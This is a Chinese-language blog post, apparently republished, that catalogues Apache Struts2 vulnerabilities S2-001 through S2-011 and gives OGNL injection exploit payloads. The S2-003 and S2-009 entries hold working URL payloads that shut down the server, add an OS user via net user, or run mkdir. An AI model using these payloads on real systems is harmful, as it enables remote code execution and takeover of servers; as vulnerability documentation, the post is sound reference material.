java struts2 漏洞_struts2漏洞列表

java struts2 漏洞_struts2漏洞列表【官方ID】S2-001【危害等级】高【受影响版本】WebWork2.1(开启altSyntax)WebWork2.2.0–WebWork2.2.5Struts2.0.0–Struts2.0.8【漏洞描述】altSyntax特性默认不开启,开启后,允许在文本串中注入OGNL表达式,且注入的表达式被逐层递归执行。攻击者可以在HTML中text域输入OGNL表达式,当form在服务器…

大家好,又见面了,我是你们的朋友全栈君。

【官方ID】S2-001

【危害等级】高

【受影响版本】

WebWork 2.1(开启altSyntax)

WebWork 2.2.0 – WebWork 2.2.5

Struts 2.0.0 – Struts 2.0.8

漏洞描述】

altSyntax特性默认不开启,开启后,允许在文本串中注入OGNL表达式,且注入的表达式被逐层递归执行。攻击者可以在HTML中text域输入OGNL表达式,当form在服务器验证出错时,OGNL表达式被执行。

【Exploit】

举个例子,下面的form中,含有两个text域,其中,“phoneNumber”要求输入非空串:

用户可以输入如下值:

“name”: %{1+1}

“phoneNumber”:

(blank)

该form提交后,会在server上进行校验,phoneNumber校验出错,返回页面name中的值显示为‘2’,

原因是,altSyntax开启后,name的输入会当做OGNL表达式(%{name})处理,输入%{1+1}后,服

务器实际处理的是%{%{1+1}}。OGNL递归解析,得到%{2},回显为2.

当用户输入为某个可执行的code时,OGNL解析过程中,导致执行。

【漏洞参考】

http://struts.apache.org/2.x/docs/s2-001.html

XWork 绕过参数拦截器执行OGNL语句

【官方ID】S2-003

【危害等级】高

【受影响版本】

Struts 2.0.0 – Struts 2.0.11.2

【漏洞描述】

攻击者可利用该漏洞绕过xwork参数拦截器,获取服务器端上下文信息。原因:内置参数拦截器’#’处理不当。为了防范篡改服务器端对象,XWork的ParametersInterceptor不允许参数名中出现“#”字符,但如果使用了Java的

unicode字符串表示\u0023,攻击者就可以绕过保护,修改保护Java方式执行的值。

【Exploit】

设置#session.use为’0wn3d’:

(‘\u0023’ + ‘session[\’user\’]’)(unused)=0wn3d

URL编码后:(‘\u0023’%20%2b%20’session[\’user\’]’)(unused)=0wn3d

其他exp,未试过:

此处代码有破坏性,请在测试环境执行,严禁用此种方法进行恶意攻击

?(‘\u0023_memberAccess[\’allowStaticMethodAccess\’]’)(meh)=true&(aaa)((‘\u0023context[\’xwork.MethodAccessor.denyMethodExecution\’]\u003d\u0023foo’)(\u0023foo\u003dnew%20java.lang.Boolean(“false”)))&(asdf)((‘\u0023rt.exit(1)’)(\u0023rt\u003d@java.lang.Runtime@getRuntime()))=1

转义后是这样:

?(‘#_memberAccess[‘allowStaticMethodAccess’]’)(meh)=true&(aaa)((‘#context[‘xwork.MethodAccessor.denyMethodExecution’]=#foo’)(#foo=new%20java.lang.Boolean(“false”)))&(asdf)((‘#rt.exit(1)’)(#rt=@java.lang.Runtime@getRuntime()))=1

OGNL处理时最终的结果就是

java.lang.Runtime.getRuntime().exit(1);  //关闭程序,即将web程序关闭

类似的可以执行

java.lang.Runtime.getRuntime().exec(“net

user 用户名 密码 /add”);//增加操作系统用户,在有权限的情况下能成功(在URL中用%20替换空格,%2F替换/)

只要有权限就可以执行任何DOS命令。

【漏洞参考】

http://struts.apache.org/2.x/docs/s2-003.html

目录遍历漏洞可以获取服务器静态文件

【官方ID】S2-004

【危害等级】高

【受影响版本】

Struts 2.0.0 – Struts 2.0.11.2

【漏洞描述】

原因:struts2分派器设计问题。允许攻击者获取服务器的静态文件,如class目录下的class文件、配置文件。

直接使用框架自带的app就可以。

绕过xwork拦截器,远程命令执行

【官方ID】S2-005

【危害等级】高

【受影响版本】

Struts 2.0.0 – Struts 2.1.8.1

【漏洞描述】

s-002中的老洞,后来被爆出很多地方都有:

#context

#_memberAccess

#root

#this

#_typeResolver

#_classResolver

#_traceEvaluations

#_lastEvaluation

#_keepLastEvaluation

【Exploit】

XWork生成的错误页面允许XSS

【官方ID】S2-006

【危害等级】高

【受影响版本】

Struts 2.0.0 – Struts 2.2.1.1

【漏洞描述】

XWork默认未过滤action的名字,导致允许xss。

【Exploit】

当使用DMI方式时,action的名字是由URL中的request参数指定的。通过访问一个不存在的jsp页面或调用不存在的方法,产生错误页面,在参数中xss:

这个洞修改了很多次,之前是过滤’

src=src>。

OGNL远程代码执行漏洞

【官方ID】S2-007

【危害等级】高

【受影响版本】

Struts 2.0.0 – Struts 2.2.3

【漏洞描述】

转换错误,导致用户输入可以当做OGNL表达式执行。

【Exploit】

struts2多个安全漏洞

【官方ID】S2-008

【危害等级】高

【受影响版本】

Struts 2.1.0 – Struts2.3.1

【漏洞描述】

Remote command execution in

Struts <= 2.2.1.1 (ExceptionDelegator)

老洞,未修改彻底,或者说出现了新的攻击方法。原因:类型转换错误导致OGNL表达式注入任意代码,服务器执行OGNL时触发。kxlzx给了一份详细的分析文档(http://www.inbreak.net/archives/363)。

Remote command execution in

Struts <= 2.3.1 (CookieInterceptor)

cookie拦截器的远程代码执行,比较少用到。cookie拦截器在处理cookiename的时候,会遍历cookiemap,将cookie中的key和value进行OGNL赋值处理:

stack.setValue(cookieName, cookieValue);

//可以看到,cookiename被当做OGNL表达式处理,改对象由用户提交的。通常程序中,会指定一个白名单,只接受指定的cookiename。如果开发人员,将其配置为“*”,允许了用户提交的所有的cookiename。tomcat中已经有处理,攻击无法进行。

//以下为cookieName中不允许的字符

public static final char SEPARATORS[] =

{ ‘\t’, ‘ ‘, ‘\”‘, ‘(‘, ‘)’, ‘,’, ‘:’, ‘;’, ‘<‘, ‘=’, ‘>’, ‘?’, ‘@’,

‘[‘, ‘\\’, ‘]’, ‘{‘, ‘}’ }

Arbitrary File Overwrite in

Struts <= 2.3.1 (ParameterInterceptor)

老外爆出的漏洞,原因看不懂。

Remote command execution in

Struts <= 2.3.1 (DebuggingInterceptor)

发布的web应用程序使用devlopMode。该模式下的DebuggingInterceptor 允许远程代码执行。DebuggingInterceptor 拦截器处理参数时,接收到ognl时,可以直接执行。

【Exploit】

参数拦截器漏洞导致远程命令执行

【官方ID】S2-009

【危害等级】高

【受影响版本】

Struts 2.0.0 – Struts 2.3.1.1

【漏洞描述】

ParameterInterceptor 可以bypass,正则表达式中匹配到top[‘foo’](0),将其当做有效的表达式,OGNL当做(top[‘foo’](0))处理了,而且还把’foo’的参数当做OGNL表达式来处理。攻击者可以将任意的OGNL语句存储在action暴露出的string变量中,由于OGNL语句存在于http参数中,攻击者可以用黑名单中的字符(如’#’)来禁止method直行,绕过参数拦截器和OGNL库的防护措施,直行其他恶意方法。

【Exploit】

假设存在漏洞的Action为

FooAction,代码如下:

//要求Action中有setFoo()、getFoo()方法

public class FooAction {

private String foo;

public String execute() {

return “success”;

}

public String getFoo() {

return foo;

}

public void setFoo(String foo) {

this.foo = foo;

}

}

//exp:create /tmp/PWNAGE directory

/action?foo=(#context[“xwork.MethodAccessor.denyMethodExecution”]= new java.lang.Boolean(false), #_memberAccess[“allowStaticMethodAccess”]= new java.lang.Boolean(true), @java.lang.Runtime@getRuntime().exec(‘mkdir /tmp/PWNAGE’))(meh)&z[(foo)(‘meh’)]=true

//URL编码后:

/action?foo=%28%23context[%22xwork.MethodAccessor.denyMethodExecution%22]%3D+new+java.lang.Boolean%28false%29,%20%23_memberAccess[%22allowStaticMethodAccess%22]%3d+new+java.lang.Boolean%28true%29,%20@java.lang.Runtime@getRuntime%28%29.exec%28%27mkdir%20/tmp/PWNAGE%27%29%29%28meh%29&z[%28foo%29%28%27meh%27%29]=true

解释

bypass的原理是利用了ognl的执行顺序。

假设有ognl语句如下:

(表达式1)(表达式2)

ognl会首先执行“表达式1”,假设得出结果为“12345”,后续流程,会把“12345”作为一个表达式再次执行。

在早期的远程代码执行漏洞修补中,会判断参数名称是否安全,而这里的参数名称叫做“foo”,这当然是安全的。Exp的第二个字段:

&z[(foo)(‘meh’)]=true

这里写的非常复杂,其实还是那个原理,foo在第一个字段中,已经被赋值了,这里直接使用foo的值,作为新的表达式,再次执行掉了。

CSRF防护绕过

【官方ID】S2-010、CVE-2012-4386

【危害等级】高

【受影响版本】

Struts 2.0.0 – Struts 2.2.4

【漏洞描述】

struts2的token验证机制(token标签和token拦截器)最初用于检查双击提交表格。假如攻击者以获取某个session的属性(name和value,String类型),可以构造一个request,修改token name 参数(name和value),以绕过token检查。

【Exploit】

暂未找到

Dos攻击

【官方ID】S2-011、CVE-2012-4387

【危害等级】高

【受影响版本】

Struts 2.0.0 – Struts 2.3.4

【漏洞描述】

struts2将request参数都当做OGNL表达式来处理,攻击者可以构造包含超长参数名的request,OGNL在处理超长参数名时,消耗服务器CPU,大量的这种请求,可以构成Dos攻击。

【Exploit】

这个exp还未找到。在struts2.3.4.1中限定参数名最大为100个字符,在参数拦截器配置中,修改paramNameMaxLength可以更改限定值。

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 举报,一经查实,本站将立刻删除。

发布者:全栈程序员-用户IM,转载请注明出处:https://javaforall.cn/161681.html原文链接:https://javaforall.cn

【正版授权,激活自己账号】: Jetbrains全家桶Ide使用,1年售后保障,每天仅需1毛

【官方授权 正版激活】: 官方授权 正版激活 支持Jetbrains家族下所有IDE 使用个人JB账号...

(0)


相关推荐

  • 安装win8、ubuntu双系统的过程

    弄了一个晚上,终于完成了,之前是用虚拟机的,但是觉得不带劲,并且折腾来时菜鸟变大神的捷径,虽然现在还一直在爬坑。继续奋斗吧…王小二首先是看ubuntu百度贴吧的安装帖子(http://tieb

    2021年12月20日
  • 推荐一个死链检测工具“Xenu”[通俗易懂]

    推荐一个死链检测工具“Xenu”[通俗易懂]Xenu是一款深受业界好评,并被广泛使用的死链接检测工具。而且它还可以生成sitemap.xml地图。时常检测网站并排除死链接,对网站的SEO非常重要,因为大量死链接存在会降低用户和搜索引擎对网站的信任。Xenu主要具有以下特征和作用:1、需要下载安装,不到1M大小,用户界面非常简洁,操作简单。2、检测彻底:能够检测到图片、框架、插件、背景、样式表、脚本和java程序中的链接。3、报告形式合理多样,死链接一目了然。4、提供出现死链接的网页,方便扫除导出链接错误。5、能..

  • iphone一键转移_苹果手机如何一键转移数据 转移教程介绍

    iphone一键转移_苹果手机如何一键转移数据 转移教程介绍众所周知,要更换手机的话,旧手机上的数据怎么办还真的是一个难题啊,毕竟手机用久了,上面的有各种重要的数据不是。那苹果手机换机的话,将数据进行转移,可以分成两种情况,一种吧,就是苹果转苹果,一种就是苹果转安卓了。苹果手机数据转移到新iPhone1、借助iCloud云备份手机自带的云备份功能,肯定是可以用上的。①手机连接上WiFi,然后在手机“设置”中,依次点击“AppleID——iCloud——i…

  • 【前端资讯】React v16.6 发布[通俗易懂]

    【前端资讯】React v16.6 发布[通俗易懂]【前端资讯】React v16.6 发布

  • linux文件夹权限777怎么设置,Linux:设置文件夹权限之777的含义[通俗易懂]

    linux文件夹权限777怎么设置,Linux:设置文件夹权限之777的含义[通俗易懂]今天面试的时候一不小心就给自己挖坑了,说使用过的Linux命令时,我说了一个mkdir-m777文件夹名称——创建文件夹及授予权限,然后就被问:为什么mkdir-m777文件夹名称授予文件夹权限要用777?在linux系统中,文件或目录的权限可以分为3种:R:4可读W:2可写X:1执行-:对应数值0数字4、2和1表示读、写、执行权限rwx=4+2+1…

    2022年10月21日
  • Python处理Excel数据-pandas篇

    Python处理Excel数据-pandas篇Python处理Excel数据-pandas篇非常适用于大量数据的拼接、清洗、筛选及分析在计算机编程中,pandas是Python编程语言的用于数据操纵和分析的软件库。特别是,它提供操纵数值表格和时间序列的数据结构和运算操作。它的名字衍生自术语“面板数据”(paneldata),这是计量经济学的数据集术语,它们包括了对同一个体的在多个时期上的观测。它的名字是短语“Pythondataanalysis”自身的文字游戏。目录Python处理Excel数据-pandas篇一、安装环境1、打开以下文

    2022年10月29日

发表回复

您的电子邮箱地址不会被公开。

关注全栈程序员社区公众号